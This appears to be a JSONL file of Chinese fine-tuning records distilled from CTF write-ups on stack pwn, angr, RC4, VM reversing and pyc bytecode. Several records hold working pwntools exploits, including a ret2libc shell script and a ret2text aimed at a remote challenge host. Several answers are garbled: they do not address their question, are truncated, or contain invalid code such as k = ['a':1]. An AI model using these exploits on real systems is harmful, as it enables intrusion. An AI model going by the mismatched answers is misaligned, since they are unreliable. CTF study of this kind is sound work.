{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3468556607cd0fa51a28", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“SSP Leak”部分，提炼一条适合 SFT 的中文技术讲解样本（第 6 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / SSP Leak（第 6 段）\n关键词：payload、environ、base、PIE、sla、x00、hex、p64、flag、RELRO\n蒸馏要点：\n- sla(b'Name: ', b'a'*0x10)\n- ru(b'a'*0x10)\n- base = u64(r(6).ljust(8, b'\\x00')) - 0xcf0\n- print(\"base\",hex(base))\n- sla(b'Input: ',b'backdoor\\x00')\n- flag_addr = base + 0x202040\n- payload = b'a'*0x168 + p64(flag_addr)\n可用于训练的标准回答：\nsla(b'Name: ', b'a'*0x10)\nru(b'a'*0x10)\nbase = u64(r(6).ljust(8, b'\\x00')) - 0xcf0\nprint(\"base\",hex(base))\nsla(b'Input: ',b'backdoor\\x00')\n\nflag_addr = base + 0x202040\npayload = b'a'*0x168 + p64(flag_addr)\nsla(b'Input: ', payload)\nsla(b'Input: ', b'exitexit')\nflag=r()\nprint(flag)\n```\n\n>wdb2018_guess\n\n1. 查保护\n\n只没有`PIE`保护\n\n```shell\n➜  wdb2018_guess checksec ./GUESS\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n```\n\n2. 分析\n\n一般我们进行`Stack smash`利用时，程序会直接崩溃退出。\n\n但是在这个程序中的`sub_400A11`函数`fork`了三次子进程，所以我们可以执行三次。\n\n```c\n__int64 sub_400A11()\n{\n  unsigned int v1; // [rsp+Ch] [rbp-4h]\n\nv1 = fork();\n  if ( v1 == -1 )\n    err(1, \"can not fork\");\n  return v1;\n}\n```\n\n泄露libc地址获取`environ`内容，进而计算`flag`的地址，\n\n>`environ`是`libc`中的全局变量，指向栈中的环境变量数组。\n\n然后通过将flag地址覆盖为`argv[0]`地址获取flag\n\n>坑点，libc版本\n\n3. exp\n\n```python\n#!/usr/bin...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 5, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f7943e855ac2a118", "original_line": 648, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f7943e855ac2a118", "source_split": "train", "split": "train", "split_group_key": "7592c9f1112324dc648caed8", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-347799f899e46bf30ce5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“所以偏移0x3c”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. s(payload)\n2. ru(b'type something:')\n3. libc.address=int16(r(14))-0x29ca8\n4. lg('libc.address',libc.address)\n5. pop_rdi=libc.search(asm('pop rdi; ret')).__next__()\n6. ret=elf.search(asm('ret')).__next__()", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::53addf611fa60cc9", "original_line": 1073, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "所以偏移0x3c", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "53addf611fa60cc9", "source_split": "train", "split": "train", "split_group_key": "c4a30ddc40b103b5ae02b89a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-34c29f41ce58d48619d8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“动态解密法”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. 按快捷键`alt+k`，将两处调用函数地方的汇编指令栈帧值修改为 0。\n2. 之后再进行反编译，可以看到 ida 没有再报错了。\n3. 接下来我们分析程序逻辑。\n4. `main`函数调用了`VirtualProtect`函数修改`encrypt`函数的内存权限为可写。\n5. 然后调用`scanf`函数向`Str`变量输入字符串，如果输入长度不等于 24 则报错退出。\n6. 然后将输入的字符串复制到`Destination`变量中，将`Str`变量作为`wrong`函数和`omg`函数的参数传入处理。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2830f2ba2b1540f9", "original_line": 959, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "动态解密法", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2830f2ba2b1540f9", "source_split": "train", "split": "train", "split_group_key": "6865bf773ba5149f85e4a4b8", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-34d0665d08e360ee8cca", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“更高效的 state 执行管理”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / 更高效的 state 执行管理\n关键词：state、simgr、active、: 如果在、​ 构造函数中提供了、proj、stash、factory、angr、LAZY_SOLVES\n蒸馏要点：\n- `state.step()`​ 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。\n- 为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。\n- 使用 Project 提供的工厂函数` proj.factory.simulation_manager`​ 就能从一个 state 创建 simgr。\n- simgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：\n- `simgr.active`​ ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。\n- `simgr.deadended`​：当状态因为某种原因无法继续执行时，它会被放入 `deadended`​，这种情况可能包括没有更多有效的指令、所有后继状态的不可满足性（unsat），或者无效的指令指针。\n- pruned`: 在使用 `LAZY_SOLVES`​ 时，状态不会被检查是否满足条件，除非绝对必要。\n可用于训练的标准回答：\n### 更高效的 state 执行管理\n\n`state.step()`​ 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。\n\n为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。\n\n```python\nstate = proj.factory.entry_state()\nsimgr = proj.factory.simulation_manager(state)\n```\n\n使用 Project 提供的工厂函数` proj.factory.simulation_manager`​ 就能从一个 state 创建 simgr。\n\nsimgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：\n\n* `simgr.active`​ ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。\n\n* `simgr.deadended`​：当状态因为某种原因无法继续执行时，它会被放入 `deadended`​，这种情况可能包括没有更多有效的指令、所有后继状态的不可满足性（unsat），或者无效的指令指针。\n* `simgr.pruned`: 在使用 `LAZY_SOLVES`​ 时，状态不会被检查是否满足条件，除非绝对必要。当发现一个状态在 `LAZY_SOLVES`​ 模式下是不可满足的（unsat）时，会遍历状态的历史，找出最初变为不可满足的时刻。所有从这个时刻开始的后代状态（也会是不可满足的，因为状态不能变得满足）会被修剪并放入这个 stash。\n* `simgr.unconstrained`: 如果在 `SimulationManager`​ 构造函数中提供了 `save_unconstrained`​ 选项，所有被判定为不受约束的状态（即指令指针由用户数据或其他符号数据控制的状态）会放入这个 stash。\n* `simgr.unsat`: 如果在 `SimulationManager`...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6d0b352f00a7c35e", "original_line": 743, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "更高效的 state 执行管理", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6d0b352f00a7c35e", "source_split": "train", "split": "train", "split_group_key": "5b265a7abbbc3dcdc85e3804", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-35540d0937e8a0ede121", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 4 段）\n关键词：const、BN_CTX、BN、ctx、BN_add(BN *r, const BN *a, const BN *b)、BN_sub(BN *r, const BN *a, const BN *b)、BN_is_prime(BN *a, int checks, BN_CTX *ctx)、GCD、BN_add、BN_sub\n蒸馏要点：\n- | `BN_add(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数加法。\n- | `BN_sub(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数减法。\n- | `BN_mul(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数乘法。\n- | `BN_div(BN *quot, BN *rem, const BN *a, const BN *b, BN_CTX *ctx)`                                                                 | 计算大数除法。\n- | `BN_mod(BN *r, const BN *a, const BN *m, BN_CTX *ctx)`                                                                             | 计算大数模运算。\n- | `BN_gcd(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数最大公约数（GCD）。\n- | `BN_is_prime(BN *a, int checks, BN_CTX *ctx)`                                                                                      | 判断大数是否为素数。\n可用于训练的标准回答：\n| `BN_add(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数加法。                  |\n| `BN_sub(BN *r, const BN *a, const BN *b)`                                                                                          | 计算大数减法。                  |\n| `BN_mul(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数乘法。                  |\n| `BN_div(BN *quot, BN *rem, const BN *a, const BN *b, BN_CTX *ctx)`                                                                 | 计算大数除法。                  |\n| `BN_mod(BN *r, const BN *a, const BN *m, BN_CTX *ctx)`                                                                             | 计算大数模运算。                 |\n| `BN_gcd(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7f0dc2ea8adf62a4", "original_line": 641, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7f0dc2ea8adf62a4", "source_split": "train", "split": "train", "split_group_key": "813917d0dc25e36e844a24a5", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3566d3485de49769470d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“标准RC4”？请用《RC4 算法》中的内容回答。", "role": "user"}, {"content": "1. 2024Moectf RC4\n2. 题目存在花指令，我们先进行去除。去除后我们分析代码。\n3. 根据题目中的`RC4`字样我们就可以判断程序为 RC4 算法。\n4. ida 反编译程序直接看到了一串包含`RC4`字样疑似密钥的字符，可以猜测这段字符就是密钥。\n5. 然后我们找密文尝试解密，上面的三个字符串都是一样的，我们可以尝试一下它们是不是密文。\n6. 假定程序是一个标准 RC4，编写解密脚本，然后成功解密。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fc1b5b9d2ad2a651", "original_line": 874, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "标准RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fc1b5b9d2ad2a651", "source_split": "train", "split": "train", "split_group_key": "721f656015044f06106483d0", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-35a5cdecac80f53b25e2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“结构体定义”？请用《VM 指令虚拟化》中的内容回答。", "role": "user"}, {"content": "1. CTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：\n2. `vm_init`：对虚拟机环境进行初始化\n3. `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。\n4. `opcode`：程序可执行代码转换成的操作码。\n5. 照着大佬的图画的：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f38de4c6c963c46d", "original_line": 808, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "结构体定义", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f38de4c6c963c46d", "source_split": "train", "split": "train", "split_group_key": "f7f470c2aaee4bc284e215b0", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-35dbc5a3d87e6b11d255", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《Pwn：Stack》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：Pwn：Stack\n领域标签：pwn, reverse, ctf-method\n知识结构：notthesame3dsctf2016 -> [LitCTF 2023]狠狠的溢出涅~ -> [MoeCTF 2022]rop64 -> [MoeCTF 2022]syscall -> \\[HNCTF 2022 Week1\\]ret2shellcode -> [FSCTF 2023]stackmat -> ciscn2019c1 -> getstarted3dsctf2016 -> [OGeek2019]babyrop -> 铁人三项(第五赛区) 2018rop -> bjdctf2020babyrop -> [SWPUCTF 2023 秋季新生赛]ezlibc\n关键术语：elf、payload、p64、ELF、libc、p32、gift、lambda、import、bin、canary、data、base、puts、x00、text\n核心要点：\n- 程序为32位静态编译，没有栈溢出和pie保护\n- 程序中存在危险函数gets，并且text段存在mprotect函数\n- 我们可以通过执行mprotect函数修改内存权限\n- 再通过read函数将shellcode读入内存\n- 之后通过栈溢出返回地址执行shellcode\n- 覆盖canary最后一位通过printf泄露出canary。\n- 利用gadget设置系统调用参数\n- 利用rax作为计数器的特性设置rax参数\n- 将 shellcode 注入到修改为可执行权限的bss段，然后返回到bss段地址\n- 32位ret2libc，LibcSearcher无法搜索到libc", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::aa712ec2000a9f8b", "original_line": 873, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "aa712ec2000a9f8b", "source_split": "train", "split": "train", "split_group_key": "b6cbb48f61a0fa6ca0489724", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36a41c73a7190aa7471f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“pwn2sctf2016”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“pwn2sctf2016”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"/buu/32/libc-2.23.so\")\nru(\"read? \")\nsl(\"-1\")\noff=48\n\npayload=b'a'*off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8)+p32(elf.got.printf)\nebx_esi_edi_ebp=0x0804864c\nint_80=0x080484d0\n\nr()\nsl(payload)\nru(\"You said:\")\nru(\"You said: \")\naddr=u32(ru(b'\\xf7')[-4:])\nprint(\"addr\",hex(addr))\nru(\"read? \")\nsl(\"-1\")\nbase=addr-libc.sym.printf\nsh=base+next(libc.search(b\"/bin/sh\\x00\"))\nsys=base+libc.sym.system\npayload=b'a'*off+p32(sys)+b'a'*4+p32(sh)\nru(\"data!\\n\")\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ffb664cb99ef4e63", "original_line": 751, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "pwn2sctf2016", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ffb664cb99ef4e63", "source_split": "train", "split": "train", "split_group_key": "5cb1113a7964343700cf8d5e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36a5f74f66239c1adb5c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“opcode 和 对应的操作码”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / opcode 和 对应的操作码（第 2 段）\n关键词：data、push、mov、reg、cmp、printf、exit、add_reg_reg1、jmp、xor\n可用于训练的标准回答：\n```\n1: mov reg data 3, 3\n2: printf 0, 0\n3: scanf_strlen 0, 0\n4: mov reg data 1, 17\n5: cmp 0, 1\n6: je 10, 0\n7: mov reg data 3, 1\n8: printf 0, 0\n9: exit 0, 0\n10: mov reg data 2, 0\n11: mov reg data 0, 17\n12: cmp 0, 2\n13: je 43, 0\n14: load_input 0, 2\n15: mov reg data 1, 97\n16: cmp 0, 1\n17: jl 26, 0\n18: mov reg data 1, 122\n19: cmp 0, 1\n20: jg 26, 0\n21: mov reg data 1, 71\n22: xor 0, 1\n23: mov reg data 1, 1\n24: add_reg_reg1 0, 1\n25: jmp 36, 0\n26: mov reg data 1, 65\n27: cmp 0, 1\n28: jl 36, 0\n29: mov reg data 1, 90\n30: cmp 0, 1\n31: jg 36, 0\n32: mov reg data 1, 75\n33: xor 0, 1\n34: mov reg data 1, 1\n35: sub_reg_reg1 0, 1\n36: mov reg data 1, 16\n37: div 0, 1\n38: push_reg 1, 0\n39: push_reg 0, 0\n40: mov reg data 1, 1\n41: add_reg_reg1 2, 1\n42: jmp 11, 0\n43: push data 7, 0\n44: push data 13, 0\n45: push data 0, 0\n46: push data 5, 0\n47: push data 1, 0\n48: push data 12, 0\n49: push data 1, 0\n50: push data 0,...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6640f851b62e2531", "original_line": 730, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "opcode 和 对应的操作码", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6640f851b62e2531", "source_split": "train", "split": "train", "split_group_key": "e75c188d2a9dcad94b477afd", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36bff7cf6a14b203158b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. 处理传入的 Intent。\n2. 如果它包含 Deep Link 数据（如 qiangcalc://calculate?expression=1+2），\n3. 则提取出 expression 参数，并传递给 processDeeplinkExpression()。\n4. private void handleIntent(Intent intent) throws URISyntaxException {\n5. String expression;\n6. if (intent != null) {", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::14780ac1bf06f7b0", "original_line": 35, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "14780ac1bf06f7b0", "source_split": "test", "split": "train", "split_group_key": "d57f08d4ea37dbf5fd9cd261", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36c755d00d8fe31cafee", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[HNCTF 2022 Week1\\]ezr0p32”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[HNCTF 2022 Week1\\]ezr0p32\n关键词：p32、HNCTF、bin、ezr0p、elf、ELF、sys、bss、sendlineafter、your\n可用于训练的标准回答：\n### \\[HNCTF 2022 Week1\\]ezr0p32\n\n#ret2text #写入/bin/sh\n```python\nfrom pwn import *\n\n#io=process(\"./ezr0p\")\nio=remote(\"node5.anna.nssctf.cn\",23450)\nelf=ELF(\"./ezr0p\")\ncontext(log_level=\"debug\",arch=\"i386\")\n\nsys=elf.plt.system\nbss=0x804a080\nio.sendlineafter(b'please tell me your name\\n',b'/bin/sh')\noff=32\npayload=b'a'*off+p32(sys)+p32(0)+p32(bss)\nio.sendlineafter(b\"now it's your play time~\\n\",payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::74b2956504ea540b", "original_line": 95, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[HNCTF 2022 Week1\\]ezr0p32", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "74b2956504ea540b", "source_split": "validation", "split": "train", "split_group_key": "c09df4fe331e203f0f1578ab", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-36fe2d9c21d0968c5f1b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“字典”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 字典\n关键词：dict、LOAD_CONST、BUILD_MAP、STORE_MAP、分别对应、STORE_NAME、LOAD_NAME、STORE_SUBSCR\n蒸馏要点：\n- `BUILD_MAP`：用于创建一个空的`dict`。\n- `STORE_MAP`：用于初始化`dict`的内容。\n- 分别对应`k = ['a':1]`和`k['a'] = 2`。\n可用于训练的标准回答：\n#### 字典\n\n- `BUILD_MAP`：用于创建一个空的`dict`。\n- `STORE_MAP`：用于初始化`dict`的内容。\n\n```\n1        0 LOAD_CONST   0 ('a')\n\t\t 2 LOAD_CONST   1 (1)\n\t\t 4 BUILD_MAP    1\n\t\t 6 STORE_NAME   0 (k)\n\n2\n\t\t 8 LOAD_CONST   2 (2)\n\t\t 10 LOAD_NAME   0 (k)\n\t\t 12 LOAD_CONST  0 ('a')\n\t\t 14 STORE_SUBSCR\n```\n\n分别对应`k = ['a':1]`和`k['a'] = 2`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::424212834fdc319c", "original_line": 947, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "字典", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "424212834fdc319c", "source_split": "train", "split": "train", "split_group_key": "b7936356b8642f2c5a55a6c0", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
